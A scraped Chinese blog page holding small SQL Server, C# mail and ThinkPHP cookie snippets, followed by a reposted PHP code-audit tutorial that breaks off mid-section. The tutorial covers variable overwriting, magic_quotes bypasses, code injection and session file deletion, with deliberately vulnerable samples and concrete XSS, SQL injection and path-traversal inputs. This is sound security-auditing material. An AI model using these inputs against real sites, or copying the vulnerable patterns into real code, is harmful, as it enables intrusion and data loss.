<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    2009年12月29日

      sql server中查詢刪除含有回車換行制表符的記錄 收藏
    --   制表符             CHAR(9)    
    --   換行符             CHAR(10)    
    --   回車                 CHAR(13)    
    --在表aaa中過(guò)濾包含回車換行符的字段b的記錄
    select * from aaa
    where charindex(char(10)+char(13),b)>0  
    --在表aaa中把包含回車換行符的字段b的記錄的回車換行符去掉
    update aaa set b=replace(b,char(10)+char(13),'')

    本文來(lái)自CSDN博客,轉(zhuǎn)載請(qǐng)標(biāo)明出處:http://blog.csdn.net/jiedushi/archive/2008/09/15/2933621.aspx

    posted @ 2010-11-05 09:40 肖馬輝 閱讀(1219) | 評(píng)論 (1)編輯 收藏
     

    jmail.POP3 popMail = new jmail.POP3();

                jmail.Message mailMessage;
                jmail.Attachments atts;
                jmail.Attachment att;
                string pop = "mail.xx.com";
                popMail.Connect("xx@xx.com", "xxxx", pop, 110);
                for (int i = 1; i <= popMail.Count; i++)
                {
                    mailMessage = popMail.Messages[i];
                    atts = mailMessage.Attachments;
                    mailMessage.Charset = "gb2312";
                    mailMessage.ContentTransferEncoding = "base64";
                    mailMessage.Encoding = "base64";
                    mailMessage.ISOEncodeHeaders = false;
                    MessageBox.Show(mailMessage.Subject);
                }

                popMail.Disconnect();

    posted @ 2010-07-06 20:49 肖馬輝 閱讀(325) | 評(píng)論 (0)編輯 收藏
     

     

    Cookie類封裝了基本的Cookie靜態(tài)操作方法,并且無(wú)需引入和實(shí)例化就可以直接使用。
    和Cookie相關(guān)的設(shè)置參數(shù)有
    'COOKIE_EXPIRE'=>30000000000,                // Cookie有效期

    'COOKIE_DOMAIN'=>$_SERVER['HTTP_HOST'],        // Cookie有效域名

    'COOKIE_PATH'=>'/',                        // Cookie路徑

    'COOKIE_PREFIX'=>'THINK_',           // Cookie前綴 避免沖突
    復(fù)制代碼
    [ 方法 ]
    常用的操作方法:
    is_set($name) // 檢測(cè)Cookie變量是否存在
    set($name,$value,$expire='',$path='',$domain='') // 設(shè)置Cookie值
    Set方法還支持三個(gè)可選參數(shù)
    $expire 有效期
    $path Cookie路徑
    $domain Cookie域名
    如果沒(méi)有設(shè)置則使用配置文件里面的相關(guān)配置的值。
    get($name) // 獲取Cookie值
    delete($name) // 刪除Cookie的值
    clear($name) // 清空Cookie

    [ 示例 ]
    下面給出了Cookie的相關(guān)操作例子:
    // 檢測(cè)Cookie變量是否存在

    Cookie::is_set('userId');       

    // 設(shè)置Cookie值

    Cookie::set('userId','2008');

    // 設(shè)置Cookie 有效期24小時(shí)

    Cookie::set('userId','2008',60*60*24);

    // 獲取Cookie值

    Cookie::get('userId');

    // 刪除Cookie值

    Cookie::delete('userId');
    復(fù)制代碼
    注意默認(rèn)的配置參數(shù)COOKIE_PREFIX的值是'THINK_',   所以,如果需要通過(guò)傳統(tǒng)方式調(diào)用Cookie值的話,應(yīng)該是
    Cookie::get('userId')應(yīng)該等同于
    $_COOKIE['THINK_userId']

    posted @ 2010-07-06 15:11 肖馬輝 閱讀(2067) | 評(píng)論 (1)編輯 收藏
     

    [目錄](méi)

    1. 前言
    2. 傳統(tǒng)的代碼審計(jì)技術(shù)
    3. PHP版本與應(yīng)用代碼審計(jì)
    4. 其他的因素與應(yīng)用代碼審計(jì)
    5. 擴(kuò)展我們的字典
      5.1 變量本身的key
      5.2 變量覆蓋
        5.2.1 遍歷初始化變量
        5.2.2 parse_str()變量覆蓋漏洞
        5.2.3 import_request_variables()變量覆蓋漏洞
        5.2.4 PHP5 Globals
      5.3 magic_quotes_gpc與代碼安全
        5.3.1 什么是magic_quotes_gpc
        5.3.2 哪些地方?jīng)]有魔術(shù)引號(hào)的保護(hù)
        5.3.3 變量的編碼與解碼
        5.3.4 二次攻擊
        5.3.5 魔術(shù)引號(hào)帶來(lái)的新的安全問(wèn)題
        5.3.6 變量key與魔術(shù)引號(hào)
      5.4 代碼注射
        5.4.1 PHP中可能導(dǎo)致代碼注射的函數(shù)
        5.4.2 變量函數(shù)與雙引號(hào)
      5.5 PHP自身函數(shù)漏洞及缺陷
        5.5.1 PHP函數(shù)的溢出漏洞
        5.5.2 PHP函數(shù)的其他漏洞
        5.5.3 session_destroy()刪除文件漏洞
        5.5.4 隨機(jī)函數(shù)
      5.6 特殊字符
        5.6.1 截?cái)?br />       5.6.1.1 include截?cái)?br />       5.6.1.2 數(shù)據(jù)截?cái)?br />       5.6.1.3 文件操作里的特殊字符
    6. 怎么進(jìn)一步尋找新的字典
    7. DEMO
    8. 后話
    9. 附錄


    一、前言

        PHP是一種被廣泛使用的腳本語(yǔ)言,尤其適合于web開(kāi)發(fā)。具有跨平臺(tái),容易學(xué)習(xí),功能強(qiáng)
    大等特點(diǎn),據(jù)統(tǒng)計(jì)全世界有超過(guò)34%的網(wǎng)站有php的應(yīng)用,包括Yahoo、sina、163、sohu等大型
    門戶網(wǎng)站。而且很多具名的web應(yīng)用系統(tǒng)(包括bbs,blog,wiki,cms等等)都是使用php開(kāi)發(fā)的,
    Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點(diǎn)升級(jí),php應(yīng)
    用程序的代碼安全問(wèn)題也逐步興盛起來(lái),越來(lái)越多的安全人員投入到這個(gè)領(lǐng)域,越來(lái)越多的應(yīng)
    用程序代碼漏洞被披露。針對(duì)這樣一個(gè)狀況,很多應(yīng)用程序的官方都成立了安全部門,或者雇
    傭安全人員進(jìn)行代碼審計(jì),因此出現(xiàn)了很多自動(dòng)化商業(yè)化的代碼審計(jì)工具。也就是這樣的形
    勢(shì)導(dǎo)致了一個(gè)局面:大公司的產(chǎn)品安全系數(shù)大大的提高,那些很明顯的漏洞基本滅絕了,那些
    大家都知道的審計(jì)技術(shù)都無(wú)用武之地了。我們面對(duì)很多工具以及大牛掃描過(guò)n遍的代碼,有很
    多的安全人員有點(diǎn)悲觀,而有的官方安全人員也非常的放心自己的代碼,但是不要忘記了“沒(méi)
    有絕對(duì)的安全”,我們應(yīng)該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統(tǒng)的技術(shù)
    經(jīng)驗(yàn)和大家分享。

        另外在這里特別說(shuō)明一下本文里面很多漏洞都是來(lái)源于網(wǎng)絡(luò)上牛人和朋友們的分享,在
    這里需要感謝他們,:)


    二、傳統(tǒng)的代碼審計(jì)技術(shù)

        WEB應(yīng)用程序漏洞查找基本上是圍繞兩個(gè)元素展開(kāi):變量與函數(shù)。也就是說(shuō)一漏洞的利用
    必須把你提交的惡意代碼通過(guò)變量經(jīng)過(guò)n次變量轉(zhuǎn)換傳遞,最終傳遞給目標(biāo)函數(shù)執(zhí)行,還記得
    MS那句經(jīng)典的名言嗎?“一切輸入都是有害的”。這句話只強(qiáng)調(diào)了變量輸入,很多程序員把“輸
    入”理解為只是gpc[$_GET,$_POST,$_COOKIE],但是變量在傳遞過(guò)程產(chǎn)生了n多的變化。導(dǎo)致
    很多過(guò)濾只是個(gè)“紙老虎”!我們換句話來(lái)描敘下代碼安全:“一切進(jìn)入函數(shù)的變量是有害的”。

        PHP代碼審計(jì)技術(shù)用的最多也是目前的主力方法:靜態(tài)分析,主要也是通過(guò)查找容易導(dǎo)致
    安全漏洞的危險(xiǎn)函數(shù),常用的如grep,findstr等搜索工具,很多自動(dòng)化工具也是使用正則來(lái)搜
    索這些函數(shù)。下面列舉一些常用的函數(shù),也就是下文說(shuō)的字典(暫略)。但是目前基本已有的
    字典很難找到漏洞,所以我們需要擴(kuò)展我們的字典,這些字典也是本文主要探討的。

        其他的方法有:通過(guò)修改PHP源代碼來(lái)分析變量流程,或者h(yuǎn)ook危險(xiǎn)的函數(shù)來(lái)實(shí)現(xiàn)對(duì)應(yīng)用
    程序代碼的審核,但是這些也依靠了我們上面提到的字典。


    三、PHP版本與應(yīng)用代碼審計(jì)

        到目前為止,PHP主要有3個(gè)版本:php4、php5、php6,使用比例大致如下:

    php4 68%
    2000-2007,No security fixes after 2008/08,最終版本是php4.4.9

    php5 32%
    2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)

    php6
    目前還在測(cè)試階段,變化很多做了大量的修改,取消了很多安全選項(xiàng)如magic_quotes_gpc。
    (這個(gè)不是今天討論的范圍)

        由于php缺少自動(dòng)升級(jí)的機(jī)制,導(dǎo)致目前PHP版本并存,也導(dǎo)致很多存在漏洞沒(méi)有被修補(bǔ)。
    這些有漏洞的函數(shù)也是我們進(jìn)行WEB應(yīng)用程序代碼審計(jì)的重點(diǎn)對(duì)象,也是我們字典重要來(lái)源。


    四、其他的因素與應(yīng)用代碼審計(jì)

        很多代碼審計(jì)者拿到代碼就看,他們忽視了“安全是一個(gè)整體”,代碼安全很多的其他因素
    有關(guān)系,比如上面我們談到的PHP版本的問(wèn)題,比較重要的還有操作系統(tǒng)類型(主要是兩大陣營(yíng)
    win/*nix),WEB服務(wù)端軟件(主要是iis/apache兩大類型)等因素。這是由于不同的系統(tǒng)不同
    的WEB SERVER有著不同的安全特點(diǎn)或特性,下文有些部分會(huì)涉及。

        所以我們?cè)谧瞿硞€(gè)公司W(wǎng)EB應(yīng)用代碼審計(jì)時(shí),應(yīng)該了解他們使用的系統(tǒng),WEB服務(wù)端軟件,
    PHP版本等信息。


    五、擴(kuò)展我們的字典

    下面將詳細(xì)介紹一些非傳統(tǒng)PHP應(yīng)用代碼審計(jì)一些漏洞類型和利用技巧。

    5.1 變量本身的key

        說(shuō)到變量的提交很多人只是看到了GET/POST/COOKIE等提交的變量的值,但是忘記了有的
    程序把變量本身的key也當(dāng)變量提取給函數(shù)處理。

    --code-------------------------------------------------------------------------
    <?php
    //key.php?aaaa'aaa=1&bb'b=2
    //print_R($_GET);
    foreach ($_GET AS $key => $value)
    {
    print $key."\n";
    }
    ?>
    -------------------------------------------------------------------------------

        上面的代碼就提取了變量本身的key顯示出來(lái),單純對(duì)于上面的代碼,如果我們提交URL:

    --code-------------------------------------------------------------------------
    key.php?<script>alert(1);</script>=1&bbb=2
    -------------------------------------------------------------------------------

        那么就導(dǎo)致一個(gè)xss的漏洞,擴(kuò)展一下如果這個(gè)key提交給include()等函數(shù)或者sql查詢
    呢?:)

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    5.2 變量覆蓋(variable-overwrite)

        很多的漏洞查找者都知道extract()這個(gè)函數(shù)在指定參數(shù)為EXTR_OVERWRITE或者沒(méi)有指
    定函數(shù)可以導(dǎo)致變量覆蓋,但是還有很多其他情況導(dǎo)致變量覆蓋的如:

    5.2.1 遍歷初始化變量

    請(qǐng)看如下代碼:

    --code-------------------------------------------------------------------------
    <?php
    //var.php?a=fuck
    $a='hi';
    foreach($_GET as $key => $value) {
    $$key = $value;
    }
    print $a;
    ?>
    -------------------------------------------------------------------------------

        很多的WEB應(yīng)用都使用上面的方式(注意循環(huán)不一定是foreach),如Discuz!4.1的WAP部分
    的代碼:

    --code-------------------------------------------------------------------------
    $chs = '';
    if($_POST && $charset != 'utf-8') {
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value) {
    $$key = $chs->Convert($value);
    }
    unset($chs);
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    5.2.2 parse_str()變量覆蓋漏洞(CVE-2007-3205)、mb_parse_str()

    --code-------------------------------------------------------------------------
    //var.php?var=new
    $var = 'init';                    
    parse_str($_SERVER['QUERY_STRING']);
    print $var;
    -------------------------------------------------------------------------------

        該函數(shù)一樣可以覆蓋數(shù)組變量,上面的代碼是通過(guò)$_SERVER['QUERY_STRING']來(lái)提取變
    量的,對(duì)于指定了變量名的我們可以通過(guò)注射“=”來(lái)實(shí)現(xiàn)覆蓋其他的變量:

    --code-------------------------------------------------------------------------
    //var.php?var=1&a[1]=var1%3d222
    $var1 = 'init';
    parse_str($a[$_GET['var']]);
    print $var1;
    -------------------------------------------------------------------------------

    上面的代碼通過(guò)提交$var來(lái)實(shí)現(xiàn)對(duì)$var1的覆蓋。

    +++++++++++++++++++++++++
    漏洞審計(jì)策略(parse_str)
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找字符parse_str
    +++++++++++++++++++++++++

    +++++++++++++++++++++++++
    漏洞審計(jì)策略(mb_parse_str)
    -------------------------
    PHP版本要求:php4<4.4.7 php5<5.2.2
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找字符mb_parse_str
    +++++++++++++++++++++++++


    5.2.3 import_request_variables()變量覆蓋漏洞(CVE-2007-1396)

    --code-------------------------------------------------------------------------
    //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
    echo 'GLOBALS '.(int)ini_get("register_globals")."n";
    import_request_variables('GPC');
    if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
    echo 'Hello admin!';
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計(jì)策略(import_request_variables)
    -------------------------
    PHP版本要求:php4<4.4.1 php5<5.2.2
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找字符import_request_variables
    +++++++++++++++++++++++++


    5.2.4 PHP5 Globals

        從嚴(yán)格意義上來(lái)說(shuō)這個(gè)不可以算是PHP的漏洞,只能算是一個(gè)特性,測(cè)試代碼:

    --code-------------------------------------------------------------------------
    <?
    // register_globals =ON
    //foo.php?GLOBALS[foobar]=HELLO
    php echo $foobar;
    ?>
    -------------------------------------------------------------------------------

        但是很多的程序沒(méi)有考慮到這點(diǎn),請(qǐng)看如下代碼:

    --code-------------------------------------------------------------------------
    //為了安全取消全局變量
    //var.php?GLOBALS[a]=aaaa&b=111
    if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
    print $a;
    print $_GET[b];
    -------------------------------------------------------------------------------

        如果熟悉WEB2.0的攻擊的同學(xué),很容易想到上面的代碼我們可以利用這個(gè)特性進(jìn)行crsf
    攻擊。

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    5.3 magic_quotes_gpc與代碼安全

    5.3.1 什么是magic_quotes_gpc

        當(dāng)打開(kāi)時(shí),所有的 '(單引號(hào)),"(雙引號(hào)),\(反斜線)和 NULL 字符都會(huì)被自動(dòng)加上一個(gè)
    反斜線進(jìn)行轉(zhuǎn)義。還有很多函數(shù)有類似的作用 如:addslashes()、mysql_escape_string()、
    mysql_real_escape_string()等,另外還有parse_str()后的變量也受magic_quotes_gpc的影
    響。目前大多數(shù)的主機(jī)都打開(kāi)了這個(gè)選項(xiàng),并且很多程序員也注意使用上面那些函數(shù)去過(guò)濾
    變量,這看上去很安全。很多漏洞查找者或者工具遇到些函數(shù)過(guò)濾后的變量直接就放棄,但是
    就在他們放棄的同時(shí)也放過(guò)很多致命的安全漏洞。 :)

    5.3.2 哪些地方?jīng)]有魔術(shù)引號(hào)的保護(hù)
       
    1) $_SERVER變量

        PHP5的$_SERVER變量缺少magic_quotes_gpc的保護(hù),導(dǎo)致近年來(lái)X-Forwarded-For的漏洞
    猛暴,所以很多程序員考慮過(guò)濾X-Forwarded-For,但是其他的變量呢?

    +++++++++++++++++++++++++
    漏洞審計(jì)策略($_SERVER變量)
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找字符_SERVER
    +++++++++++++++++++++++++


    2) getenv()得到的變量(使用類似$_SERVER變量)
      
    +++++++++++++++++++++++++
    漏洞審計(jì)策略(getenv())
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找字符getenv
    +++++++++++++++++++++++++


    3) $HTTP_RAW_POST_DATA與PHP輸入、輸出流

        主要應(yīng)用與soap/xmlrpc/webpublish功能里,請(qǐng)看如下代碼:

    --code-------------------------------------------------------------------------
    if ( !isset( $HTTP_RAW_POST_DATA ) ) {
    $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
    }
    if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
    -------------------------------------------------------------------------------
           
    +++++++++++++++++++++++++
    漏洞審計(jì)策略(數(shù)據(jù)流)
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找字符HTTP_RAW_POST_DATA或者php://input
    +++++++++++++++++++++++++


    4) 數(shù)據(jù)庫(kù)操作容易忘記'的地方如:in()/limit/order by/group by
        
        如Discuz!<5.0的pm.php:
        
    --code-------------------------------------------------------------------------
    if(is_array($msgtobuddys)) {
    $msgto = array_merge($msgtobuddys, array($msgtoid));
    ......
    foreach($msgto as $uid) {
    $uids .= $comma.$uid;
    $comma = ',';
    }
    ......
    $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
    LEFT JOIN {$tablepre}memberfields mf USING(uid)
    WHERE m.uid IN ($uids)");
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找數(shù)據(jù)庫(kù)操作字符(select,update,insert等等)
    +++++++++++++++++++++++++


    5.3.3 變量的編碼與解碼

        一個(gè)WEB程序很多功能的實(shí)現(xiàn)都需要變量的編碼解碼,而且就在這一轉(zhuǎn)一解的傳遞過(guò)程中
    就悄悄的繞過(guò)你的過(guò)濾的安全防線。

        這個(gè)類型的主要函數(shù)有:

    1) stripslashes() 這個(gè)其實(shí)就是一個(gè)decode-addslashes()

    2) 其他字符串轉(zhuǎn)換函數(shù):

    base64_decode -- 對(duì)使用 MIME base64 編碼的數(shù)據(jù)進(jìn)行解碼
    base64_encode -- 使用 MIME base64 對(duì)數(shù)據(jù)進(jìn)行編碼
    rawurldecode -- 對(duì)已編碼的 URL 字符串進(jìn)行解碼
    rawurlencode -- 按照 RFC 1738 對(duì) URL 進(jìn)行編碼
    urldecode -- 解碼已編碼的 URL 字符串
    urlencode -- 編碼 URL 字符串
    ......
    (另外一個(gè) unserialize/serialize)

    3) 字符集函數(shù)(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
         
        目前很多漏洞挖掘者開(kāi)始注意這一類型的漏洞了,如典型的urldecode:

    --code-------------------------------------------------------------------------
    $sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
    -------------------------------------------------------------------------------

        當(dāng)magic_quotes_gpc=on時(shí),我們提交?id=%2527,得到sql語(yǔ)句為:

    --code-------------------------------------------------------------------------
    SELECT * FROM article WHERE articleid='''
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找對(duì)應(yīng)的編碼函數(shù)
    +++++++++++++++++++++++++


    5.3.4 二次攻擊(詳細(xì)見(jiàn)附錄[1])

    1) 數(shù)據(jù)庫(kù)出來(lái)的變量沒(méi)有進(jìn)行過(guò)濾

    2) 數(shù)據(jù)庫(kù)的轉(zhuǎn)義符號(hào):

      * mysql/oracle轉(zhuǎn)義符號(hào)同樣是\(我們提交'通過(guò)魔術(shù)引號(hào)變化為\',當(dāng)我們update進(jìn)入數(shù)
    據(jù)庫(kù)時(shí),通過(guò)轉(zhuǎn)義變?yōu)?)

      * mssql的轉(zhuǎn)義字符為'(所以我們提交'通過(guò)魔術(shù)引號(hào)變化為\',mssql會(huì)把它當(dāng)為一個(gè)字符
    串直接處理,所以魔術(shù)引號(hào)對(duì)于mssql的注射沒(méi)有任何意義)
       
        從這里我們可以思考得到一個(gè)結(jié)論:一切進(jìn)入函數(shù)的變量都是有害的,另外利用二次攻擊
    我們可以實(shí)現(xiàn)一個(gè)webrootkit,把我們的惡意構(gòu)造直接放到數(shù)據(jù)庫(kù)里。我們應(yīng)當(dāng)把這樣的代
    碼看成一個(gè)vul?

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    5.3.5 魔術(shù)引號(hào)帶來(lái)的新的安全問(wèn)題

        首先我們看下魔術(shù)引號(hào)的處理機(jī)制:

    [\-->\\,'-->\',"-->\",null-->\0]

        這給我們引進(jìn)了一個(gè)非常有用的符號(hào)“\”,“\”符號(hào)不僅僅是轉(zhuǎn)義符號(hào),在WIN系統(tǒng)下也是
    目錄轉(zhuǎn)跳的符號(hào)。這個(gè)特點(diǎn)可能導(dǎo)致php應(yīng)用程序里產(chǎn)生非常有意思的漏洞:

    1) 得到原字符(',\,",null])

    --code-------------------------------------------------------------------------
    $order_sn=substr($_GET['order_sn'], 1);

    //提交                 '
    //魔術(shù)引號(hào)處理         \'
    //substr               '

    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
       " shipping_time, shipping_id, invoice_no, user_id ".
       " FROM " . $ecs->table('order_info').
       " WHERE order_sn = '$order_sn' LIMIT 1";
    -------------------------------------------------------------------------------

    2) 得到“\”字符

    --code-------------------------------------------------------------------------
    $order_sn=substr($_GET['order_sn'], 0,1);

    //提交                 '
    //魔術(shù)引號(hào)處理         \'
    //substr               \   

    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
       " shipping_time, shipping_id, invoice_no, user_id ".
       " FROM " . $ecs->table('order_info').
       " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
    -------------------------------------------------------------------------------
      
        提交內(nèi)容:

    --code-------------------------------------------------------------------------
    ?order_sn='&order_tn=%20and%201=1/*
    -------------------------------------------------------------------------------

        執(zhí)行的SQL語(yǔ)句為:

    --code-------------------------------------------------------------------------
    SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
    shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
    order_tn=' and 1=1/*'
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找字符串處理函數(shù)如substr或者通讀代碼
    +++++++++++++++++++++++++


    5.3.6 變量key與魔術(shù)引號(hào)
       
        我們最在這一節(jié)的開(kāi)頭就提到了變量key,PHP的魔術(shù)引號(hào)對(duì)它有什么影響呢?

    --code-------------------------------------------------------------------------
    <?php
    //key.php?aaaa'aaa=1&bb'b=2
    //print_R($_GET);
    foreach ($_GET AS $key => $value)
            {
            print $key."\n";
            }
    ?>
    -------------------------------------------------------------------------------

    1) 當(dāng)magic_quotes_gpc = On時(shí),在php5.24下測(cè)試顯示:
     
    aaaa\'aaa
    bb\'b

        從上面結(jié)果可以看出來(lái),在設(shè)置了magic_quotes_gpc = On下,變量key受魔術(shù)引號(hào)影響。
    但是在php4和php<5.2.1的版本中,不處理數(shù)組第一維變量的key,測(cè)試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    //key.php?aaaa'aaa[bb']=1
    print_R($_GET);
    ?>
    -------------------------------------------------------------------------------

        結(jié)果顯示:

    Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )  

        數(shù)組第一維變量的key不受魔術(shù)引號(hào)的影響。

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:php4和php<5.2.1
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    2) 當(dāng)magic_quotes_gpc = Off時(shí),在php5.24下測(cè)試顯示:

    aaaa'aaa
    bb'b

        對(duì)于magic_quotes_gpc = Off時(shí)所有的變量都是不安全的,考慮到這個(gè),很多程序都通過(guò)
    addslashes等函數(shù)來(lái)實(shí)現(xiàn)魔術(shù)引號(hào)對(duì)變量的過(guò)濾,示例代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    //keyvul.php?aaa'aa=1'
    //magic_quotes_gpc = Off
    if (!get_magic_quotes_gpc())
    {
    $_GET  = addslashes_array($_GET);
    }

    function addslashes_array($value)
    {
            return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
    }
    print_R($_GET);
    foreach ($_GET AS $key => $value)
    {
    print $key;
    }
    ?>
    -------------------------------------------------------------------------------

        以上的代碼看上去很完美,但是他這個(gè)代碼里addslashes($value)只處理了變量的具體
    的值,但是沒(méi)有處理變量本身的key,上面的代碼顯示結(jié)果如下:
     
    Array
    (
        [aaa'aa] => 1\'
    )
    aaa'aa

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    5.4 代碼注射

    5.4.1 PHP中可能導(dǎo)致代碼注射的函數(shù)

        很多人都知道eval、preg_replace+/e可以執(zhí)行代碼,但是不知道php還有很多的函數(shù)可
    以執(zhí)行代碼如:

    assert()
    call_user_func()
    call_user_func_array()
    create_function()
    變量函數(shù)
    ...

        這里我們看看最近出現(xiàn)的幾個(gè)關(guān)于create_function()代碼執(zhí)行漏洞的代碼:

    --code-------------------------------------------------------------------------
    <?php
    //how to exp this code
    $sort_by=$_GET['sort_by'];
    $sorter='strnatcasecmp';
    $databases=array('test','test');
    $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
          ';
    usort($databases, create_function('$a, $b', $sort_function));
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找對(duì)應(yīng)函數(shù)(assert,call_user_func,call_user_func_array,create_function等)
    +++++++++++++++++++++++++


    5.4.2 變量函數(shù)與雙引號(hào)
        
        對(duì)于單引號(hào)和雙引號(hào)的區(qū)別,很多程序員深有體會(huì),示例代碼:

    --code-------------------------------------------------------------------------
    echo "$a\n";
    echo '$a\n';
    -------------------------------------------------------------------------------

        我們?cè)倏慈缦麓a:

    --code-------------------------------------------------------------------------
    //how to exp this code
    if($globals['bbc_email']){

    $text = preg_replace(
    array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
    "/\[email\](.*?)\[\/email\]/ies"),
    array('check_email("$1", "$2")',
    'check_email("$1", "$1")'), $text);
    -------------------------------------------------------------------------------

        另外很多的應(yīng)用程序都把變量用""存放在緩存文件或者config或者data文件里,這樣很
    容易被人注射變量函數(shù)。
      
    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    5.5 PHP自身函數(shù)漏洞及缺陷
        
    5.5.1 PHP函數(shù)的溢出漏洞

        大家還記得Stefan Esser大牛的Month of PHP Bugs(MOPB見(jiàn)附錄[2])項(xiàng)目么,其中比較
    有名的要算是unserialize(),代碼如下:

    --code-------------------------------------------------------------------------
    unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
    -------------------------------------------------------------------------------

        在以往的PHP版本里,很多函數(shù)都曾經(jīng)出現(xiàn)過(guò)溢出漏洞,所以我們?cè)趯徲?jì)應(yīng)用程序漏洞的
    時(shí)候不要忘記了測(cè)試目標(biāo)使用的PHP版本信息。

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:對(duì)應(yīng)fix的版本
    系統(tǒng)要求:
    審計(jì)策略:查找對(duì)應(yīng)函數(shù)名
    +++++++++++++++++++++++++


    5.5.2 PHP函數(shù)的其他漏洞

        Stefan Esser大牛發(fā)現(xiàn)的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability
       
        比如phpwind早期的serarch.php里的代碼:

    --code-------------------------------------------------------------------------
    unset($uids);
    ......
    $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
    while($member=$db->fetch_array($query)){
    $uids .= $member['uid'].',';
    }
    $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
    ........
    $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
    -------------------------------------------------------------------------------
       
    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:php4<4.3 php5<5.14
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找unset
    +++++++++++++++++++++++++


    5.5.3 session_destroy()刪除文件漏洞(測(cè)試PHP版本:5.1.2)
       
        這個(gè)漏洞是幾年前朋友saiy發(fā)現(xiàn)的,session_destroy()函數(shù)的功能是刪除session文件,
    很多web應(yīng)用程序的logout的功能都直接調(diào)用這個(gè)函數(shù)刪除session,但是這個(gè)函數(shù)在一些老
    的版本中缺少過(guò)濾導(dǎo)致可以刪除任意文件。測(cè)試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    //val.php  
    session_save_path('./');
    session_start();
    if($_GET['del']) {
    session_unset();
    session_destroy();
    }else{
    $_SESSION['hei']=1;
    echo(session_id());
    print_r($_SESSION);
    }
    ?>
    -------------------------------------------------------------------------------

        當(dāng)我們提交構(gòu)造cookie:PHPSESSID=/../1.php,相當(dāng)于unlink('sess_/../1.php')這樣
    就通過(guò)注射../轉(zhuǎn)跳目錄刪除任意文件了。很多著名的程序某些版本都受影響如phpmyadmin,
    sablog,phpwind3等等。

    +++++++++++++++++++++++++
